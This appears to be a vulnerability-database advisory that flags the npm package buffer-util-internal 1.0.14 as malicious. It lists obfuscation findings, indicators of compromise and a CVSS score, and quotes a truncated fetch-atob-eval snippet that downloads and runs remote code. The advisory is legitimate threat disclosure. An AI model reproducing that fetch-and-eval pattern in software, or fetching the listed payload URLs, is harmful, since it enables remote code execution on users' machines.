VDB
GCVE-110-OSM-2026-7117
GCVE-110-OSM-2026-7117
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: code execution, network activity, obfuscated code.
ENTRY
index.js (main: index.js)
DESTINATION
- deobfuscated: feross.org (fetched-payload, deobfuscated)
EXFIL
- Fetch and Eval/Exec in index.js: "fetch(atob(randomStringRe)) .then((t) => t.json()) .then((data) => { const codeS..."
OBFUSCATION
- Decoded Base64 Content in index.js (x2)
- Decoded Base64 Content in [deobfuscated] index.js (x2)
- IOCs Found in Deobfuscated Code in index.js
- Dynamic Base64 Decoding in index.js: "atob(randomStringRe)"
- Obfuscation: function to array replacements in index.js
- recovered 3 urls, 2 domains, 1 ipv4, 1 _domainCandidates from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Dynamic Code Execution in index.js: "eval(codeString)"
- Publisher Has Other Malicious Packages
- Rapid Version Publishing
PAYLOAD FILES
index.js (+ [deobfuscated] index.js)
INDICATORS (IOCs)
- ipv4: 13.3.3.7
- urls: https://feross.org, https://www.patreon.com/feross, https://feross.org/support, https://www.jsonkeeper.com/b/PT0ON, https://www.jsonkeeper.com/b/CWOV9
- domains: substack.net, www.patreon.com, www.jsonkeeper.com
- emails: feross@feross.org, toots@rastageeks.org, mail@substack.net
- payloadFileHash: 379406f8a9339f033be1f802002b78048778ab88d3049b8cea7fcf9e70fd54d1
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | buffer-util-internal | 1.0.14 (affected) | — |
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